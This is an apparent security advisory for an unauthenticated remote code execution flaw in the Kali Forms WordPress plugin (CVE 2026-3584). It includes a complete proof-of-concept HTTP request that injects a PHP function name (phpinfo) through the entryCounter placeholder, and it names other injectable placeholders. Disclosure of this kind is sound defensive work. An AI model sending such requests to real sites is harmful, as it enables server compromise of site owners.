Kali Forms < 2.4.10 – Unauthenticated Remote Code Execution via form_process | CVE 2026-3584

Description

The plugin is vulnerable to Remote Code Execution via the 'form_process' function. This is due to the 'prepare_post_data' function mapping user-supplied keys directly into internal placeholder storage, combined with the use of 'call_user_func' on these placeholder values. This makes it possible for unauthenticated attackers to execute code on the server.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 243
Connection: keep-alive
Priority: u=0

action=kaliforms_form_process&data%5BformId%5D=107&data%5Bnonce%5D=57397833af&data%5Bfirst-name%5D=test%20fn&data%5Blast-name%5D=test%20ln&data%5Bemail%5D=rejgtrh%40riu4h5ti.com&data%5Bmessage%5D=jfrjtgit&extraArgs=&data[entryCounter]=phpinfo

Other affected placeholders: thisPermalink, submission_link